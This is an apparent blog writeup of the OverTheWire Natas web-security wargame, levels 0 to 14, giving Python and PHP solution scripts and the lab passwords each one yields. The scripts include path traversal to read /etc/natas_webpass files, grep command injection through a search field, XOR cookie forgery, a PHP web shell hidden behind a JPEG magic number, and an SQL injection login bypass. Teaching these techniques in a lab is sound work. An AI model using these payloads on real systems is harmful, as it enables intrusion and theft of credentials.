(setq plaintext 'everywhere)



Natas (OverTheWire)

Table of Contents

1 Introduction

[2023-02-24 Fri]

This is a writeup for the overthewire.org war game Natas. To start a level visit the URL http://natasx.natas.labs.overthewire.org, and login with username: natasX and the password found in the previous level, where X is the level number. All passwords for the next level are also stored in /etc/natas_webpass/natasX, where X is the number of the level.

In the scripts below PASS_NATASX is the password for level X as found in the previous level.

2 Level 0

View the source page and find the password:

curl -u natas0:natas0 "http://natas0.natas.labs.overthewire.org/" | grep natas1
<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->

3 Level 1

View the source page by using a short cut key (for me Ctrl+u):

curl -u natas1:"${PASS_NATAS1}" "http://natas1.natas.labs.overthewire.org/" | grep natas2
<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->

4 Level 2

Again view the source page. There is a line with a link to an image

<img src="files/pixel.png">

This links to http://natas2.natas.labs.overthewire.org/files/pixel.png, note the /files/pixels.png. Which means it might be possible to explorer the /files directory. Exploring "http://natas2.natas.labs.overthewire.org/files/" it shows that there it another file called users.txt which contains the password for the next level.

curl -u natas2:"${PASS_NATAS2}" "http://natas2.natas.labs.overthewire.org/files/users.txt" | grep natas3
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

5 Level 3

View the source and find the line

<!-- No more information leaks!! Not even Google will find it this time... -->

which hints at the robots.txt file that contains the directories webcrawlers are not supossed to visit. From the robots.txt we get the directory /s3cr3t/ which contains the users.txt file with the password for natas4.

curl -u natas3:"${PASS_NATAS3}" "http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt" | grep natas4
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

6 Level 4

NOTE: from level 4 and onwards the code snippets are written in Python unless otherwise specified.

To get access to the password we need to come from the natas5 website as is metioned on the website when first loging in.

Access disallowed. You are visiting from "" while authorized users should come
only from "http://natas5.natas.labs.overthewire.org/"

It is possible to simulate this by setting the referer in the header of the get request to the natas5 website.

First import some libraries and define a function that can find the password in the raw html text these will be used throughout the levels:

import requests
from requests.auth import HTTPBasicAuth
import re
def find_pswd(text):
    """ Find the line with the password in the html text. """
    lines = text.split('\n')
    bools = list(map(lambda x : "password" in x, lines))
    for (b,line) in zip(bools,lines):
        if b:
            return line

Lets also define a function that will return the user and the url that we will need for every level.

def user_url(lvl: int):
    """ Return the user name and url for LVL. """
    user = "natas" + str(lvl)
    url = f"http://natas{lvl}.natas.labs.overthewire.org/"
    return user, url

Now the code that changes the referer to natas5:

user, url = user_url(4)
headers = {'referer': 'http://natas5.natas.labs.overthewire.org/'}

# get request with the referer set to natas5
r = requests.get(url, headers=headers, auth=HTTPBasicAuth(user,PASS_NATAS4))

print(find_pswd(r.text))
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

7 Level 5

After logging in the web page shows:

Access disallowed. You are not logged in

Lets inspect the headers to see what is happening

user, url = user_url(5)

r = requests.get(url, auth=HTTPBasicAuth(user, PASS_NATAS5))
print(r.headers)
{'Date': 'Wed, 22 Feb 2023 14:54:38 GMT', 'Server': 'Apache/2.4.52 (Ubuntu)', 'Set-Cookie': 'loggedin=0', 'Vary': 'Accept-Encoding', 'Content-Encoding': 'gzip', 'Content-Length': '368', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}

The output show that the the Set-cookie loggedin=0, if that is changed to loggedin=1 then that should give access to the password.

user, url = user_url(5)
cookies = {'loggedin': '1'}

# get request with the cookie set loggedin=1
r = requests.get(url, cookies=cookies, auth=HTTPBasicAuth(user, PASS_NATAS5))
print(find_pswd(r.text))
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR</div>

8 Level 6

After logging in we are prompted to input a secret. The page source contains the line:

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

Then going to the url http://natas6.natas.labs.overthewire.org/index-source.html contains:

include "includes/secret.inc";

follow this to the url http://natas6.natas.labs.overthewire.org/includes/secret.inc, which reveals the secret: FOEIUWGHFEEUHOFUOIU

user, url = user_url(6)
post_data = {"secret": "FOEIUWGHFEEUHOFUOIU", "submit": "submit"}

r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS6), data=post_data)

print(find_pswd(r.text))
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

9 Level 7

The source page says:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

and there are two links, Home and About. When you click on Home or About the url changes to /index.php?page=Home and /index.php?page=About respectively. Changing either Home or About with the path to the password file will give access to the password, i.e. /index.php?page=/etc/natas_webpass/natas8. This is know as a path traversal attack.

user, url = user_url(7)
pswd = "7z3hEENjQtflzgnT29q7wAvMNfZdh0i9"
path = "/index.php?page=/etc/natas_webpass/natas8"

# get request with the referer set to natas5
r = requests.post(url+path, auth=HTTPBasicAuth(user,PASS_NATAS7))

print(r.text.split('\n')[-7])
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

10 Level 8

The source page again has a link to:

index-source.html

which reveals an encoded secret:

3d3d516343746d4d6d6c315669563362

it is encoded with this function:

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

All we need to do is reverse this function on the given encoded secret:

from base64 import b64decode

secret = "3d3d516343746d4d6d6c315669563362"

# convert hex to binary
binary_secret = bin(int(secret, 16))

# convert the bits to a string of chars
char_secret = ''.join(chr(int(binary_secret[i*8:i*8+8],2)) for i in range(len(binary_secret)//8))

# reverse the string
reverse_secret  = char_secret[::-1]

# base64 decode the string
decoded_secret = b64decode(reverse_secret).decode("ascii")
print("The decoded secret is: " + decoded_secret)
The decoded secret is: oubWYf2kBq

Now we can POST the DECODED_SECRET: oubWYf2kBq, to get the password.

user, url = user_url(8)
post_data = {"secret": DECODED_SECRET, "submit": "submit"}

# get request with the referer set to natas5
r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS8), data=post_data)

print(find_pswd(r.text))
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

11 Level 9

On the site there is a search box that searches for words. Trying out some words in the search box shows that it actual does find all words containing the searched string. Inspecting the source reveals this piece of code:

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}

So it is using grep to find results from dictionary.txt, but grep allows for multiple input files to search in and so if we input an extra file into the search box then it will search that file as well as dictionary.txt. The file we want to include in the submit box is etc/natas_webpass/natas10, the file that holds the password for the next level.

user, url = user_url(9)
post_data = {"needle": "'' /etc/natas_webpass/natas10", "submit": "submit"}

r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS9), data=post_data)

# use regex to find the password
print(re.findall('/etc/natas_webpass/natas10:(.*)', r.text)[0])
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

12 Level 10

This level is similar to the previous level but it checks if there are "illegal" characters in the input.

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
	print "Input contains an illegal character!";
    } else {
	passthru("grep -i $key dictionary.txt");
    }
}

From the regular expression in 'preg_match' the illegal characters are ; and &. Since those characters weren't used in the previous level it is possible to re-use the 'needle' from level 9.

user, url = user_url(10)
post_data = {"needle": "'' /etc/natas_webpass/natas11", "submit": "submit"}

r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS10), data=post_data)

print(re.findall('/etc/natas_webpass/natas11:(.*)', r.text)[0])
1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

13 Level 11

13.1 Intro

From the source code, these are the most important functions/variables:

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
	$outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

The xor_encrypt() function simply encrypts the input with a censored key. And the saveData() creates a cookie from the $defaultdata. The first thing to do is get a cookie. With this cookie and the defaultdata it is possible to exploit a property of the xor function, namely: plaintext ^ key = ciphertext (where ^ is the xor function) can be rewritten to solve for the key like plaintext ^ ciphertext = key. Hence we can find the key with plaintext = $defaultdata and ciphertext = cookie.

13.3 Get the plain text

Now to get the plaintext that is used in the xor_encrypt() json encode the defaultdata first.

// this is php code:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
json_encode($defaultdata);
echo (json_encode($defaultdata));
{"showpassword":"no","bgcolor":"#ffffff"}

13.4 Find the encryption key

Now use the plain and cipher text in a slightly rewritten xor_encrypt() to find the key.

// this is php code:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in, $key) {
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
	$outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

$plain = json_encode($defaultdata);
$cipher = hex2bin('0a554b221e00482b02044f2503131a70531957685d555a2d12185425035502685247087a414708680c');

echo ('The key is: ' . xor_encrypt($plain, $cipher));

The key is: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq!n'!nJq

There is a pattern in the key which means that the key that was used is the substring qw8J.

13.5 Get the password for natas12

To get the password change the showpassword value from the array $defaultdata to "yes". Then encrypt the array with the key qw8J. This will result in the value that should be send as the cookie and will give the password.

// this is php code:
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in, $key) {
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
	$outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

$plain = json_encode($defaultdata);
$key = 'qw8J';

echo ('The cipher text is: ' . base64_encode(xor_encrypt($plain, $key)));

The cipher text is: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Use the just computed cipher text as the cookie and send a get request with the cookie attached. This will show the password for Natas 12.

user, url = user_url(11)
data = {"bgcolor": "#000000", "submit": "Set color"}
cookies = {'data': 'ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}

# get request with the referer set to natas5
r = requests.get(url, cookies=cookies, auth=HTTPBasicAuth(user, PASS_NATAS11))

print(re.findall('The password for natas12 is (.*)<br>', r.text)[0])
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

14 Level 12

The webpage asks for .jpg files to be uploaded. After uploading a picture a link is given to the location, upload/<randomstring>.jpg, of the uploaded file. I tried a few path traversal attacks, e.g. /upload/../etc/natas_webpass/natas13, but all failed. So maybe it is possible to upload some malicious php code instead of a jpg.

Create a php file called evil.php that contains:

<?php echo (file_get_contents('/etc/natas_webpass/natas13')); ?>

This will print the password for natas13.

Now the python script that uploads evil.php to the website and gets the randon link to the uploaded file location, which should contain the password for natas13.

user, url = user_url(12)

evil = {'uploadedfile': open('/home/br/Pictures/shots/evil.php', 'rb')}

r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS12), files=evil, data={'filename': 'evil.php'})

path = re.findall('href="(upload/.*.php)">', r.text)[0]
print(f'The path to our uploaded file: {path}')
The path to our uploaded file: upload/tdxpbrtuna.php
r1 = requests.get(url+path, auth=HTTPBasicAuth(user, PASS_NATAS12))
# The password for natas13:
print(r1.text)
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

15 Level 13

This level is similar to level 12 but it uses exif_imagetype to check if the file being uploaded is actually an image. It does this by checking the magic number at the beginning of the file. So if we can insert this magic number to the beginning of our php script than it will pass the exif_imagetype check will the server will execute the contents of the file. We will insert the magic number by letting python write it to the file in bytes. The rest of the attack is very similar to level 12. The magic number is \xFF\xD8\xFF\xE0.

user, url = user_url(13)

# write the magic number and the to be executed php to evilFile
evilFile = '/home/br/Pictures/shots/evil3.php'
fh = open(evilFile, 'wb')
fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
fh.close()

evil = {'uploadedfile': open(evilFile, 'rb')}

# Post the evilFile to the server
r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS13), files=evil, data={'filename': 'evil3.php'})

path = re.findall('href="(upload/.*.php)">', r.text)[0]
print(f'The path to our uploaded file: {path}\n')
The path to our uploaded file: upload/4ttajmtyw5.php
r1 = requests.get(url+path+'?cmd=cat /etc/natas_webpass/natas14', auth=HTTPBasicAuth(user, PASS_NATAS13))
# The password for natas13
print(r1.text[4:])
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

16 Level 14

This level has a login form. The source code reveals the use of very simple sql queries, which means we could try some sql injections. The very first try immediately worked, supplying " or 1=1 -- for both the username and the password.

user, url = user_url(14)
data = {'username': '" or 1=1 --', 'password': '" or 1=1 --'}

r = requests.post(url, auth=HTTPBasicAuth(user, PASS_NATAS14), data=data)

print(re.findall('password for natas15 is (.*)<br>', r.text)[0])

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J


If something is not working, please create an issue here.